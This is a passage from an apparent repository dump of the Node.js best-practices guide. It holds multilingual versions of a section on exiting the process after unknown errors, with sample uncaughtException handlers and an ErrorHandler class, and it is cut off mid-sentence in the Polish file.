статей](https://jakearchibald.com/2017/await-vs-return-vs-return-await/) объясняющих почему\n`return await` никогда не должен быть использован за пределами `try` блока и даже\n[правело ESLint](https://eslint.org/docs/rules/no-return-await) которое такое использование запрещает. Причина\nзаключается в том что с момента когда async/await стали доступны с помощью транспайлеров в Node.js 0.10 (и получил\nвстроенную поддержку с Node.js 7.6) и до момента пока не появились \"бесплатные асинхронные стектрейсы\", `return await`\nбыло абсолютно эквивалентно `await` для любого кода за пределами `try` блока. Для каких-то ES движков это все так-же\nможет оставаться правдой. По этой причине разрешение (resolve) промисов перед возвращением является лучшей практикой\nдля Node.js, а не для EcmaScript в целом\n\n### Заметки:\n1. Одной из причин почему асинхронные сетктрейсы имеют столь нетривиальную реализация является требование к\nстектрейсу быть созданными синхронно, в пределах одного цикла петли событий (event loop) <span id=\"a1\">[¹](#1)</span>\n2. без `await` в `throwAsync` весь код выполнится в одной фазе петли событий (event loop). Это вырожденный случай\nкогда **стек** операционной системы не успеет опустошиться и стектрейс будет полным даже без явного `await` результата\nвызова функции. Обычно использование промисов подразумевает исполнение асинхронных операций, а значит части стектрейса\nвсе-же будут утрачены\n3. \"Бесплатные асинхронные стектрейсы\" не работают для особо сложных потоков промисов, например когда `await`\nвыполняется для одного и того-же промиса в разных местах\n\n### References:\n  <span id=\"1\">1. </span>[Блогпост о бесплатных асинхронных стектрейсах в v8](https://v8.dev/blog/fast-async)\n  <br/>\n\n  <span id=\"2\">2. </span>[Документ о бесплатных асинхронных стектрейсах в v8 с упомянутыми тут деталями реализации](\n    https://docs.google.com/document/d/13Sy_kBIJGP0XT34V1CV3nkWya4TwYx9L3Yv45LdGB6Q/edit\n  )\n  <br/>\n"
  },
  {
    "path": "sections/errorhandling/shuttingtheprocess.basque.md",
    "content": "# Irten prozesutik elegantziarekin kanpoko norbait iristen denean hirira\r\n\r\n### Azalpena\r\n\r\nZure kodearen lekuren batean, erroreren bat gertatzen denean erroreen kudeaketa objektuaren ardura da erabakitzea nola jokatu, eta, errorea konfiantzazkoa bada, nahikoa izango da erregistro fitxategian idaztea; errorea operazionala bada, berriz, irakurri azalpen osatuagoa #3 jarraibide egokian).  Gauzak okertzen dira errorea ezezaguna denean, horrek osagairen bat egoera txarrean dagoela eta hurrengo eskaera guztiek huts egiteko aukera handia dutela esan nahi du eta. Adibidez, eman dezagun, singleton bat edukita, token batek salbuespen bat igorri duela eta ondoren bere egoera galdu duen zerbitzu batekin arazoa duela; hortik aurrera ustekabean joka dezake eta eskaera guztiek huts egitea eragin. Egoera horren aurrean, prozesua gelditu eta 'Berrekite tresna' erabili (Forever, PM2, etab. bezalakoak) egoera garbi batekin berriz hasteko\r\n\r\n### Kode adibidea: huts eragin ala ez erabakitzen\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\n// Garatzaileek operazio erroreak errorea.operazioErroreaDa=true zehazten dutela ziurtzat joz, irakur ezazu #3 jarraibide egokia\r\nprocess.on('uncaughtException', (errorea) => {\r\n  erroreKudeaketa.kudeatzailea.kudeatuErrorea(errorea);\r\n  if(!erroreKudeaketa.kudeatzailea.erroreFidagarriaDa(errorea))\r\n    process.exit(1)\r\n});\r\n\r\n// errore kudeatzaile zentralizatuak errore-kudeaketa logika kapsulatzen du\r\nfunction erroreKudeatzailea() {\r\n  this.kudeatuErrorea = (errorea) => {\r\n    return logger.erroreaErregistratu(errorea)\r\n      .then(kritikoaBadaAdministrariariPostaElektronikoaBidali)\r\n      .then(kritikoaBadaOperazioZerrendanGorde)\r\n      .then(erabakiIaOperazioErroreaDen);\r\n  }\r\n\r\n  this.erroreFidagarriaDa = (errorea) => {\r\n    return errorea.operazioErroreaDa;\r\n  }\r\n}\r\n```\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\n// Garatzaileek operazio erroreak errorea.operazioErroreaDa=true zehazten dutela ziurtzat joz, irakur ezazu #3 jarraibide egokia\r\nprocess.on('uncaughtException', (errorea: Error) => {\r\n  erroreKudeaketa.kudeatzailea.kudeatuErrorea(errorea);\r\n  if(!erroreKudeaketa.kudeatzailea.erroreFidagarriaDa(errorea))\r\n    process.exit(1)\r\n});\r\n\r\n// Nodeko Erroretik datorren errore objektu zentralizatua\r\nexport class AppErrorea extends Error {\r\n  public readonly operazioErroreaDa: boolean;\r\n\r\n  constructor(deskribapena: string, operazioErroreaDa: boolean) {\r\n    super(deskribapena);\r\n    Object.setPrototypeOf(this, new.target.prototype); // prototipo katea berreskuratu\r\n    this.operazioErroreaDa = operazioErroreaDa;\r\n    Error.captureStackTrace(this);\r\n  }\r\n}\r\n\r\n// errore kudeatzaile zentralizatuak errore-kudeaketa logika kapsulatzen du\r\nclass ErroreKudeatzailea {\r\n  public async kudeatuErrorea(errorea: Error): Promise<void> {\r\n    await logger.erroreaErregistratu(errorea);\r\n    await kritikoaBadaAdministrariariPostaElektronikoaBidali();\r\n    await kritikoaBadaOperazioZerrendanGorde();\r\n    await erabakiIaOperazioErroreaDen();\r\n  };\r\n\r\n  public erroreFidagarriaDa(errorea: Error) {\r\n    if (errorea instanceof AppErrorea) {\r\n      return errorea.operazioErroreaDa;\r\n    }\r\n    return false;\r\n  }\r\n}\r\n\r\nexport const kudeatzailea = new ErroreKudeatzailea();\r\n```\r\n</details>\r\n\r\n### Blog aipua: \"Irtenbiderik hoberena huts eragitea da\"\r\n\r\nJoyent bloga\r\n\r\n> …Programatzaileen erroreak konpontzeko modurik hoberena berehala krak egitea da. Programaren batek huts eginez gero, berrabiarazle bat erabiliz exekutatu beharko zenuke, automatikoki berrabiaraziko baitu. Berrabiarazlea dagoenean, huts egitea da programa fidagarria berreskuratzeko biderik azkarrena programatzailearen errore iragankor baten aurrean ...\r\n\r\n### Blog aipua: \"Errore kudeaketaren inguruko hiru ideia eskola daude\"\r\n\r\nJS Recipes bloga\r\n\r\n> …Errore kudeaketaren inguruko hiru ideia eskola nagusi daude:\r\n1. Utzi aplikazioari huts egiten eta ondoren berrabiarazi\r\n2. Errore posible guztiak kudeatu eta inoiz ez huts egin\r\n3. Bien arteko planteamendu bat\r\n\r\n### Blog aipua: \"Ez dago modu segururik irteteko zehaztugabeko egoera hauskorrik sortu gabe\"\r\n\r\nNode.js dokumentazio ofiziala\r\n\r\n> …JavaScripten lanak nola exekutatzen diren kontuan izanda, ez dago ia inoiz lan bati ziurtasunez jarraipena emateko biderik utzitako puntuan hasita, erreferentziak galdu gabe edota bestelako zehaztugabeko egoera hauskorrik sortu gabe. Jaurtitako errore bati erantzuteko modurik seguruena prozesua itzaltzea da. Jakina, web zerbitzari arruntetan, konexio ugari eduki ahal dituzu irekita, eta ez da zentzuzkoa tupustean haiek ixtea beste batek eragindako errore batengatik. Planteamendu hoberena da bidaltzea errore erantzun bat errorea bidali duen eskariari, besteei beren atazak bukatzeko denbora utziz, eta eskari berriei kasu egiteari uztea prozesu horretan\r\n"
  },
  {
    "path": "sections/errorhandling/shuttingtheprocess.brazilian-portuguese.md",
    "content": "# Finalize o processo quando um estranho chegar\r\n\r\n### Explicação em um Parágrafo\r\n\r\nEm algum lugar dentro do seu código, um objeto manipulador de erro é responsável por decidir como proceder quando um erro é lançado – se o erro for confiável (por exemplo, erro operacional, consulte mais explicações na melhor prática #3), a gravação no arquivo de log poderá ser suficiente. As coisas ficam complicadas se o erro não for familiar - isso significa que algum componente pode estar em um estado defeituoso e todas as solicitações futuras estão sujeitas a falhas. Por exemplo, suponha um serviço de emissor de token único e com estado, que lançou uma exceção e perdeu seu estado - a partir de agora ele pode se comportar de maneira inesperada e fazer com que todas as solicitações falhem. Neste cenário, mate o processo e use uma \"ferramenta de reinicialização\" (como Forever, PM2, etc) para começar de novo com um estado limpo.\r\n\r\n### Exemplo de código: decidindo se vai travar\r\n\r\n```javascript\r\n// Supondo que os desenvolvedores marquem erros operacionais conhecidos com error.isOperational = true, leia as melhores práticas #3\r\nprocess.on('uncaughtException', function(error) {\r\n  errorManagement.handler.handleError(error);\r\n  if(!errorManagement.handler.isTrustedError(error))\r\n  process.exit(1)\r\n});\r\n\r\n// manipulador de erro centralizado encapsula lógica relacionada à manipulação de erros\r\nfunction errorHandler() {\r\n  this.handleError = function (error) {\r\n    return logger.logError(err)\r\n      .then(sendMailToAdminIfCritical)\r\n      .then(saveInOpsQueueIfCritical)\r\n      .then(determineIfOperationalError);\r\n  }\r\n\r\n  this.isTrustedError = function (error) {\r\n    return error.isOperational;\r\n  }\r\n}\r\n```\r\n\r\n### Citação de Blog: \"A melhor maneira é travar\"\r\n\r\nDo blog Joyent\r\n\r\n> …A melhor maneira de se recuperar de erros de programação é travar imediatamente. Você deve executar seus programas usando um restaurador que irá reiniciar automaticamente o programa em caso de falha. Com um reinicializador executando, o travamento é a maneira mais rápida de restaurar um serviço confiável diante de um erro temporário do programador…\r\n\r\n### \"Citação de Blog: Existem três escolas de pensamentos sobre tratamento de erros\"\r\n\r\nDo blog: JS Recipes\r\n\r\n> …Existem basicamente três escolas de pensamento sobre tratamento de erros:\r\n1. Deixar o aplicativo travar e reiniciá-lo.\r\n2. Lidar com todos os erros possíveis e nunca travar.\r\n3. Uma abordagem equilibrada entre os dois.\r\n\r\n### Citação de Blog: \"Não há maneira segura de sair sem criar algum estado frágil indefinido\"\r\n\r\nDa documentação oficial do Node.js\r\n\r\n > …Pela própria natureza de como o throw funciona em JavaScript, quase nunca há como \"continuar de onde você parou\" com segurança, sem vazar referências, ou criar algum outro tipo de estado frágil indefinido. A maneira mais segura de responder a um erro é desligar o processo. É claro que, em um servidor web normal, você pode ter muitas conexões abertas, e não é razoável encerrá-las abruptamente porque um erro foi acionado por outra pessoa. A melhor abordagem é enviar uma resposta de erro à solicitação que acionou o erro, deixando as outras concluírem em seu tempo normal e parar de atender novas solicitações nesse processo..\r\n"
  },
  {
    "path": "sections/errorhandling/shuttingtheprocess.chinese.md",
    "content": "# 特殊情况产生时，优雅地退出服务\r\n\r\n\r\n### 一段解释\r\n\r\n在您的代码的某个地方，当一个错误抛出的时候，错误处理对象负责决定如何进行时 – 如果错误是可信的（即操作型错误，在最佳实践#3了解进一步的解释），写入日志文件可能是足够的。如果错误不熟悉，事情就变得棘手了 – 这意味着某些组件可能处于故障状态，所有将来的请求都可能失败。例如，假设一个单例（singleton）的，有状态的令牌发行者服务抛出异常并失去它的状态 — 从现在起，它可能会出现意外行为并导致所有请求失败。在这种情况下，杀进程，使用“重启”的工具（像Forever，PM2，等等）重新开始。\r\n\r\n\r\n\r\n### 代码实例: 决定是否退出\r\n\r\n```javascript\r\n//收到未捕获的异常时，决定是否要崩溃\r\n//如果开发人员标记已知的操作型错误使用：error.isOperational=true， 查看最佳实践 #3\r\nprocess.on('uncaughtException', function(error) {\r\n errorManagement.handler.handleError(error);\r\n if(!errorManagement.handler.isTrustedError(error))\r\n process.exit(1)\r\n});\r\n \r\n \r\n//封装错误处理相关逻辑在集中的错误处理中\r\nfunction errorHandler(){\r\n this.handleError = function (error) {\r\n return logger.logError(err).then(sendMailToAdminIfCritical).then(saveInOpsQueueIfCritical).then(determineIfOperationalError);\r\n }\r\n \r\n this.isTrustedError = function(error)\r\n {\r\n return error.isOperational;\r\n }\r\n\r\n```\r\n\r\n\r\n### 博客引用: \"最好的方式是立即崩溃\"\r\n摘自 博客：Joyent\r\n \r\n > …从程序型错误中恢复过来的最好方法是立即崩溃。你应该使用一个重启助手来运行您的程序，它会在崩溃的情况下自动启动程序。当使用重启助手，崩溃是面对临时性的程序型错误时，恢复可靠的服务的最快的方法…\r\n\r\n\r\n### 博客引用: \"错误处理有三种流派\"\r\n摘自 博客：JS Recipes\r\n \r\n > …错误处理主要有三种流派:\r\n1. 让应用崩溃，并重启。\r\n2. 处理所有的错误，从不崩溃。\r\n3. 介于两者之间。\r\n\r\n\r\n### 博客引用: \"不伴随着创建一些易碎的状态，是没有保险的方式退出\"\r\n摘自 Node.JS 官方文档\r\n \r\n > …就throw工作在JavaScript的本质而言，几乎没有任何方法可以安全地“在您丢下的地方捡起”，而不会泄漏引用，或者创建其他类型的未定义的易碎性状态。对抛出的错误作出响应的最安全的方法是关闭进程。当然，在一个普通的Web服务器中，可能有很多连接打开了，因为其他人触发了一个错误，所以突然关闭这些连接是不合理的。更好的方法是将错误响应发送给触发错误的请求，同时让其他人在正常时间内完成，并停止侦听该工作者的新请求。"
  },
  {
    "path": "sections/errorhandling/shuttingtheprocess.french.md",
    "content": "# Quittez le processus avec élégance lorsqu'un étranger arrive en ville\n\n### Un paragraphe d'explication\n\nQuelque part dans votre code, un objet gestionnaire d'erreur est chargé de décider comment procéder lorsqu'une erreur est levée - si l'erreur est fiable (c.-à-d. une erreur opérationnelle, voir plus d'explications dans la bonne pratique n° 3), alors l'écriture dans le fichier journal peut être suffisante. Les choses deviennent floues si l'erreur n'est pas familière - cela signifie que certains composants peuvent être dans un état défectueux et toutes les demandes futures sont susceptibles d'échouer. Par exemple, en supposant un service émetteur de jetons avec un état unique qui a levé une exception et a perdu son état - à partir de ce moment, il pourrait se comporter de manière inattendue et entraîner l'échec de toutes les demandes. Dans ce scénario, arrêtez le processus et utilisez un « outil de redémarrage » (comme Forever, PM2, etc.) pour recommencer avec un état propre.\n\n### Exemple de code : décider s'il faut planter\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\n// En supposant que les développeurs marquent les erreurs opérationnelles connues avec error.isOperational = true, lisez la bonne pratique n° 3\nprocess.on('uncaughtException', (error) => {\n  errorManagement.handler.handleError(error);\n  if(!errorManagement.handler.isTrustedError(error))\n    process.exit(1)\n});\n\n// le gestionnaire d'erreurs centralisé encapsule la logique liée à la gestion des erreurs\nfunction errorHandler() {\n  this.handleError = (error) => {\n    return logger.logError(error)\n      .then(sendMailToAdminIfCritical)\n      .then(saveInOpsQueueIfCritical)\n      .then(determineIfOperationalError);\n  }\n\n  this.isTrustedError = (error) => {\n    return error.isOperational;\n  }\n}\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\n// En supposant que les développeurs marquent les erreurs opérationnelles connues avec error.isOperational = true, lisez la bonne pratique n° 3\nprocess.on('uncaughtException', (error: Error) => {\n  errorManagement.handler.handleError(error);\n  if(!errorManagement.handler.isTrustedError(error))\n    process.exit(1)\n});\n\n// objet d'erreur centralisé qui dérive de l'Error de Node\nexport class AppError extends Error {\n  public readonly isOperational: boolean;\n\n  constructor(description: string, isOperational: boolean) {\n    super(description);\n    Object.setPrototypeOf(this, new.target.prototype); // restaurer la chaîne du prototype\n    this.isOperational = isOperational;\n    Error.captureStackTrace(this);\n  }\n}\n\n// le gestionnaire d'erreurs centralisé encapsule la logique liée à la gestion des erreurs\nclass ErrorHandler {\n  public async handleError(err: Error): Promise<void> {\n    await logger.logError(err);\n    await sendMailToAdminIfCritical();\n    await saveInOpsQueueIfCritical();\n    await determineIfOperationalError();\n  };\n\n  public isTrustedError(error: Error) {\n    if (error instanceof AppError) {\n      return error.isOperational;\n    }\n    return false;\n  }\n}\n\nexport const handler = new ErrorHandler();\n```\n</details>\n\n### Citation de blog : « La meilleure façon est de planter »\n\nExtrait du blog de Joyent\n\n> …La meilleure façon de récupérer des erreurs de programmation est de planter immédiatement. Vous devez exécuter vos programmes à l'aide d'un « outil de redémarrage » qui redémarrera automatiquement le programme en cas de plantage. Avec un « outil de redémarrage » en place, le plantage est le moyen le plus rapide de restaurer un service fiable face à une erreur de programmation transitoire…\n\n### Citation de blog : « Il y a principalement trois écoles de réflexion sur la gestion des erreurs »\n\nExtrait du blog de JS Recipes\n\n> …Il y a principalement trois écoles de réflexion sur la gestion des erreurs :\n1. Laissez l'application se planter et redémarrez-la.\n2. Gérez toutes les erreurs possibles et ne plantez jamais.\n3. Une approche équilibrée entre les deux\n\n### Citation de blog : « Aucune solution sûre pour sortir sans créer un état fragile indéfini »\n\nExtrait de la documentation officielle de Node.js\n\n> …De par la nature même du fonctionnement de throw en JavaScript, il n'y a presque jamais aucun moyen de « reprendre là où vous vous étiez arrêté » en toute sécurité, sans fuite de références, ou sans créer une autre sorte d'état fragile non défini. Le moyen le plus sûr de répondre à une erreur levée est d'arrêter le processus. Bien sûr, dans un serveur Web normal, de nombreuses connexions peuvent être ouvertes et il n'est pas raisonnable de les fermer brutalement car une erreur a été déclenchée par quelqu'un d'autre. La meilleure approche consiste à envoyer une réponse d'erreur à la demande qui a déclenché l'erreur tout en laissant les autres se terminer dans leur temps normal et à cesser d'écouter les nouvelles demandes de ce processus.\n"
  },
  {
    "path": "sections/errorhandling/shuttingtheprocess.japanese.md",
    "content": "# 見ず知らずの事象が起きたら潔くプロセスを終了する\r\n\r\n### 一段落説明\r\n\r\nコード内のどこかで、エラーハンドラオブジェクトがエラー発生時にどのように処理するかを決定することに責任を負っているとき ー エラーが信頼されている場合は（すなわち、操作上のエラーのことです。ベストプラクティス 2.3 の説明を参照してください）、ログファイルに書き込むだけで十分かもしれません。不明なエラーの場合は、複雑になります ー 一部のコンポーネントが不完全な状態にあり、後に来るリクエストは失敗の対象となることを意味しています。例えば、シングルトンでステートフルなトークン発行者サービスが例外を投げて、保持していた状態を消失したと仮定しましょう ー これは、予期せぬ挙動をしたり、全てのリクエストが失敗する原因となっているかもしれません。このようなケースの場合は、プロセスを kill して、（Forever や PM2 などの）「再起動ツール」を利用してクリーンな状態からやり直してください。\r\n\r\n### コード例: クラッシュするかどうか決定する\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\n// 開発者は既知のエラーに対して error.isOperational=true とマークをつけることを仮定しています。ベストプラクティス 2.3 を参照してください\r\nprocess.on('uncaughtException', (error) => {\r\n  errorManagement.handler.handleError(error);\r\n  if(!errorManagement.handler.isTrustedError(error))\r\n    process.exit(1)\r\n});\r\n\r\n// エラー処理関連のロジックをカプセル化した、集中化されたエラーハンドラ\r\nfunction errorHandler() {\r\n  this.handleError = (error) => {\r\n    return logger.logError(error)\r\n      .then(sendMailToAdminIfCritical)\r\n      .then(saveInOpsQueueIfCritical)\r\n      .then(determineIfOperationalError);\r\n  }\r\n\r\n  this.isTrustedError = (error) => {\r\n    return error.isOperational;\r\n  }\r\n}\r\n```\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\n// 開発者は既知のエラーに対して error.isOperational=true とマークをつけることを仮定しています。ベストプラクティス 2.3 を参照してください\r\nprocess.on('uncaughtException', (error: Error) => {\r\n  errorManagement.handler.handleError(error);\r\n  if(!errorManagement.handler.isTrustedError(error))\r\n    process.exit(1)\r\n});\r\n\r\n// Node のエラーオブジェクトを継承した、集中化されたエラーオブジェクト\r\nexport class AppError extends Error {\r\n  public readonly isOperational: boolean;\r\n\r\n  constructor(description: string, isOperational: boolean) {\r\n    super(description);\r\n    Object.setPrototypeOf(this, new.target.prototype); // restore prototype chain\r\n    this.isOperational = isOperational;\r\n    Error.captureStackTrace(this);\r\n  }\r\n}\r\n\r\n// エラー処理関連のロジックをカプセル化した、集中化されたエラーハンドラ\r\nclass ErrorHandler {\r\n  public async handleError(err: Error): Promise<void> {\r\n    await logger.logError(err);\r\n    await sendMailToAdminIfCritical();\r\n    await saveInOpsQueueIfCritical();\r\n    await determineIfOperationalError();\r\n  };\r\n\r\n  public isTrustedError(error: Error) {\r\n    if (error instanceof AppError) {\r\n      return error.isOperational;\r\n    }\r\n    return false;\r\n  }\r\n}\r\n\r\nexport const handler = new ErrorHandler();\r\n```\r\n</details>\r\n\r\n### ブログ引用: \"The best way is to crash\"（最善の方法はクラッシュすることです）\r\n\r\nブログ Joyent より\r\n\r\n> …プログラマーのエラーから復帰する最も良い方法は直ちにクラッシュさせることです。プログラムがクラッシュしたときに自動的に再起動してくれるリスターターを備えた、プログラムを動かすべきです。リスターターを備えている場合、一時的なプログラマーのエラーに直面した際に、安定したサービスへと復旧させるための一番手っ取り早い方法は、クラッシュさせることになります。\r\n\r\n### ブログ引用: \"There are three schools of thoughts on error handling\"（エラー処理について、3 つの考え方があります）\r\n\r\nブログ JS Recipes より\r\n\r\n> …エラー処理について、主に以下の3つの考え方があります:\r\n1. アプリケーションをクラッシュさせ、再起動させる\r\n2. 起こりうるすべてのエラーを処理し、決してクラッシュさせない\r\n3. 上記 2 つをバランスよく取り入れたアプローチ\r\n\r\n### ブログ引用: \"No safe way to leave without creating some undefined brittle state\"（不明瞭で不安定な状態を作り出すことなしに、安全に中断する方法はありません）\r\n\r\nNode.js 公式ドキュメントより\r\n\r\n> …JavaScript における throw の挙動の性質上、参照をリークさせたり、不明瞭で不安定な状態を作り出したりすることなく、安全に「中断したところから再開する」方法はほぼありません。投げられたエラーに対応する最も安全な方法は、プロセスをシャットダウンすることです。もちろん、通常のウェブサーバーでは、多くのコネクションがオープン状態になっているかもしれず、エラーが他の誰かによって引き起こされたからといって、それらを急にシャットダウンすることは合理的ではありません。より良いアプローチは、エラーの引き金となったリクエストにエラーレスポンスを送り、他のリクエストは通常の時間内に終了するようにして、そのワーカーにおいて新しいリクエストの受信を停止することです。\r\n"
  },
  {
    "path": "sections/errorhandling/shuttingtheprocess.korean.md",
    "content": "# Exit the process gracefully when a stranger comes to town\r\n\r\n### One Paragraph Explainer\r\n\r\nSomewhere within your code, an error handler object is responsible for deciding how to proceed when an error is thrown – if the error is trusted (i.e. operational error, see further explanation within best practice #3) then writing to log file might be enough. Things get hairy if the error is not familiar – this means that some component might be in a faulty state and all future requests are subject to failure. For example, assuming a singleton, stateful token issuer service that threw an exception and lost its state – from now it might behave unexpectedly and cause all requests to fail. Under this scenario, kill the process and use a ‘Restarter tool’ (like Forever, PM2, etc) to start over with a clean state.\r\n\r\n### Code example: deciding whether to crash\r\n\r\n```javascript\r\n// Assuming developers mark known operational errors with error.isOperational=true, read best practice #3\r\nprocess.on('uncaughtException', function(error) {\r\n  errorManagement.handler.handleError(error);\r\n  if(!errorManagement.handler.isTrustedError(error))\r\n  process.exit(1)\r\n});\r\n\r\n// centralized error handler encapsulates error-handling related logic\r\nfunction errorHandler() {\r\n  this.handleError = function (error) {\r\n    return logger.logError(err)\r\n      .then(sendMailToAdminIfCritical)\r\n      .then(saveInOpsQueueIfCritical)\r\n      .then(determineIfOperationalError);\r\n  }\r\n\r\n  this.isTrustedError = function (error) {\r\n    return error.isOperational;\r\n  }\r\n}\r\n```\r\n\r\n### Blog Quote: \"The best way is to crash\"\r\n\r\nFrom the blog Joyent\r\n\r\n> …The best way to recover from programmer errors is to crash immediately. You should run your programs using a restarter that will automatically restart the program in the event of a crash. With a restarter in place, crashing is the fastest way to restore reliable service in the face of a transient programmer error…\r\n\r\n### Blog Quote: \"There are three schools of thoughts on error handling\"\r\n\r\nFrom the blog: JS Recipes\r\n\r\n> …There are primarily three schools of thoughts on error handling:\r\n1. Let the application crash and restart it.\r\n2. Handle all possible errors and never crash.\r\n3. A balanced approach between the two\r\n\r\n### Blog Quote: \"No safe way to leave without creating some undefined brittle state\"\r\n\r\nFrom Node.js official documentation\r\n\r\n> …By the very nature of how throw works in JavaScript, there is almost never any way to safely “pick up where you left off”, without leaking references, or creating some other sort of undefined brittle state. The safest way to respond to a thrown error is to shut down the process. Of course, in a normal web server, you might have many connections open, and it is not reasonable to abruptly shut those down because an error was triggered by someone else. The better approach is to send an error response to the request that triggered the error while letting the others finish in their normal time, and stop listening for new requests in that worker.\r\n"
  },
  {
    "path": "sections/errorhandling/shuttingtheprocess.md",
    "content": "# Exit the process gracefully when a stranger comes to town\r\n\r\n### One Paragraph Explainer\r\n\r\nSomewhere within your code, an error handler object is responsible for deciding how to proceed when an error is thrown – if the error is trusted (i.e. operational error, see further explanation within best practice #3) then writing to log file might be enough. Things get hairy if the error is not familiar – this means that some component might be in a faulty state and all future requests are subject to failure. For example, assuming a singleton, stateful token issuer service that threw an exception and lost its state – from now it might behave unexpectedly and cause all requests to fail. Under this scenario, kill the process and use a ‘Restarter tool’ (like Forever, PM2, etc) to start over with a clean state.\r\n\r\n### Code example: deciding whether to crash\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\n// Assuming developers mark known operational errors with error.isOperational=true, read best practice #3\r\nprocess.on('uncaughtException', (error) => {\r\n  errorManagement.handler.handleError(error);\r\n  if(!errorManagement.handler.isTrustedError(error))\r\n    process.exit(1)\r\n});\r\n\r\n// centralized error handler encapsulates error-handling related logic\r\nfunction errorHandler() {\r\n  this.handleError = (error) => {\r\n    return logger.logError(error)\r\n      .then(sendMailToAdminIfCritical)\r\n      .then(saveInOpsQueueIfCritical)\r\n      .then(determineIfOperationalError);\r\n  }\r\n\r\n  this.isTrustedError = (error) => {\r\n    return error.isOperational;\r\n  }\r\n}\r\n```\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\n// Assuming developers mark known operational errors with error.isOperational=true, read best practice #3\r\nprocess.on('uncaughtException', (error: Error) => {\r\n  errorManagement.handler.handleError(error);\r\n  if(!errorManagement.handler.isTrustedError(error))\r\n    process.exit(1)\r\n});\r\n\r\n// centralized error object that derives from Node’s Error\r\nexport class AppError extends Error {\r\n  public readonly isOperational: boolean;\r\n\r\n  constructor(description: string, isOperational: boolean) {\r\n    super(description);\r\n    Object.setPrototypeOf(this, new.target.prototype); // restore prototype chain\r\n    this.isOperational = isOperational;\r\n    Error.captureStackTrace(this);\r\n  }\r\n}\r\n\r\n// centralized error handler encapsulates error-handling related logic\r\nclass ErrorHandler {\r\n  public async handleError(err: Error): Promise<void> {\r\n    await logger.logError(err);\r\n    await sendMailToAdminIfCritical();\r\n    await saveInOpsQueueIfCritical();\r\n    await determineIfOperationalError();\r\n  };\r\n\r\n  public isTrustedError(error: Error) {\r\n    if (error instanceof AppError) {\r\n      return error.isOperational;\r\n    }\r\n    return false;\r\n  }\r\n}\r\n\r\nexport const handler = new ErrorHandler();\r\n```\r\n</details>\r\n\r\n### Blog Quote: \"The best way is to crash\"\r\n\r\nFrom the blog Joyent\r\n\r\n> …The best way to recover from programmer errors is to crash immediately. You should run your programs using a restarter that will automatically restart the program in the event of a crash. With a restarter in place, crashing is the fastest way to restore reliable service in the face of a transient programmer error…\r\n\r\n### Blog Quote: \"There are three schools of thoughts on error handling\"\r\n\r\nFrom the blog: JS Recipes\r\n\r\n> …There are primarily three schools of thoughts on error handling:\r\n>1. Let the application crash and restart it.\r\n>2. Handle all possible errors and never crash.\r\n>3. A balanced approach between the two\r\n\r\n### Blog Quote: \"No safe way to leave without creating some undefined brittle state\"\r\n\r\nFrom Node.js official documentation\r\n\r\n> …By the very nature of how throw works in JavaScript, there is almost never any way to safely “pick up where you left off”, without leaking references, or creating some other sort of undefined brittle state. The safest way to respond to a thrown error is to shut down the process. Of course, in a normal web server, you might have many connections open, and it is not reasonable to abruptly shut those down because an error was triggered by someone else. The better approach is to send an error response to the request that triggered the error while letting the others finish in their normal time, and stop listening for new requests in that worker.\r\n"
  },
  {
    "path": "sections/errorhandling/shuttingtheprocess.polish.md",
    "content": "# Opuść ten proces z wdziękiem, gdy do miasta przybywa nieznajomy\n\n### Wyjaśnienie jednym akapitem\n\nGdzieś w twoim kodzie obiekt procedury obsługi błędów jest odpowiedzialny za podjęcie decyzji, jak postępować, gdy błąd zostanie zgłoszony - jeśli błąd jest zaufany (tj. błąd operacyjny, zobacz dalsze wyjaśnienie w najlepszych praktykach #3), zapisywanie w pliku dziennika może być wystarczające. Sprawa staje się pokręcona, jeśli błąd nie jest znany - oznacza to, że niektóre komponenty mogą być wadliwe, a wszystkie przyszłe żądania mogą ulec awarii. Na przykład, zakładając singletonowy serwis stateful token issuer, który zgłosił wyjątek i utracił swój stan - od teraz może zachowywać się niespodziewanie i powodować niepowodzenie wszystkich żądań. W tym scenariuszu zabij proces i użyj „narzędzia Restarter” (takiego jak Forever, PM2 itp.), Aby zacząć od nowa z czystym stanem.\n\n### Przykład kodu: decydowanie o awarii\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\n// Assuming developers mark known operational errors with error.isOperational=true, read best practice #3\nprocess.on('uncaughtException', (error) => {\n  errorManagement.handler.handleError(error);\n  if(!errorManagement.handler.isTrustedError(error))\n    process.exit(1)\n});\n\n// centralized error handler encapsulates error-handling related logic\nfunction errorHandler() {\n  this.handleError = (error) => {\n    return logger.logError(error)\n      .then(sendMailToAdminIfCritical)\n      .then(saveInOpsQueueIfCritical)\n      .then(determineIfOperationalError);\n  }\n\n  this.isTrustedError = (error) => {\n    return error.isOperational;\n  }\n}\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\n// Assuming developers mark known operational errors with error.isOperational=true, read best practice #3\nprocess.on('uncaughtException', (error: Error) => {\n  errorManagement.handler.handleError(error);\n  if(!errorManagement.handler.isTrustedError(error))\n    process.exit(1)\n});\n\n// centralized error object that derives from Node’s Error\nexport class AppError extends Error {\n  public readonly isOperational: boolean;\n\n  constructor(description: string, isOperational: boolean) {\n    super(description);\n    Object.setPrototypeOf(this, new.target.prototype); // restore prototype chain\n    this.isOperational = isOperational;\n    Error.captureStackTrace(this);\n  }\n}\n\n// centralized error handler encapsulates error-handling related logic\nclass ErrorHandler {\n  public async handleError(err: Error): Promise<void> {\n    await logger.logError(err);\n    await sendMailToAdminIfCritical();\n    await saveInOpsQueueIfCritical();\n    await determineIfOperationalError();\n  };\n\n  public isTrustedError(error: Error) {\n    if (error instanceof AppError) {\n      return error.isOperational;\n    }\n    return false;\n  }\n}\n\nexport const handler = new ErrorHandler();\n```\n</details>\n\n### Cytat z bloga: \"The best way is to crash\"\n\nZ bloga Joyent\n\n> …The best way to recover from programmer errors is to crash immediately. You should run your programs using a restarter that will automatically restart the program in the event 